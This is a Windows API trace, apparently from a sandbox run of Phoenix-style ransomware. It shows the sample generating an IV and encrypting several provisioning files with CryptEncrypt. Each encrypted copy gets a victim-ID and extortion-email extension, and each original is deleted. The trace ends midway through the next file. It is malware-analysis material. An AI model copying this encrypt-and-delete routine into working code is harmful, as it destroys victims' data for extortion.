	[0250.013] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0250.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.023] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=638) returned 1
	[0250.023] CloseHandle (hObject=0x2f0) returned 1
	[0250.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.024] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.024] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0250.026] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.026] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x27e, lpOverlapped=0x0) returned 1
	[0250.032] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280, dwBufLen=0x280 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280) returned 1
	[0250.032] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x280, lpOverlapped=0x0) returned 1
	[0250.033] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0250.033] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.033] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0250.033] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0250.033] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.033] CloseHandle (hObject=0x2f0) returned 1
	[0250.034] CloseHandle (hObject=0x2e8) returned 1
	[0250.034] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.035] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0250.035] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.035] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=706) returned 1
	[0250.035] CloseHandle (hObject=0x2e8) returned 1
	[0250.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.035] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.035] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.035] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.036] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0250.036] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.036] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c2, lpOverlapped=0x0) returned 1
	[0250.121] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0250.121] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0250.121] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0250.122] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.122] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0250.122] CryptDestroyKey (hKey=0x151780) returned 1
	[0250.122] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0250.122] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0250.122] CloseHandle (hObject=0x2e8) returned 1
	[0250.122] CloseHandle (hObject=0x2f0) returned 1
	[0250.122] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.123] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0250.123] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.126] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=712) returned 1
	[0250.126] CloseHandle (hObject=0x2f0) returned 1
	[0250.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.126] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.126] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0250.127] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.127] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0250.510] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0250.510] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0250.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0250.511] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.511] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0250.511] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.511] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0250.511] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.511] CloseHandle (hObject=0x2f0) returned 1
	[0250.511] CloseHandle (hObject=0x2e8) returned 1
	[0250.511] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.512] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0250.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.513] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0250.513] CloseHandle (hObject=0x2e8) returned 1
	[0250.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.513] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.513] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.513] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0250.514] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.514] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0250.592] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0250.592] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0250.593] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0250.593] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.593] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0250.593] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.593] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0250.593] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.593] CloseHandle (hObject=0x2e8) returned 1
	[0250.593] CloseHandle (hObject=0x2f0) returned 1
	[0250.594] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.594] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0250.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.595] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=647) returned 1
	[0250.595] CloseHandle (hObject=0x2f0) returned 1
	[0250.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
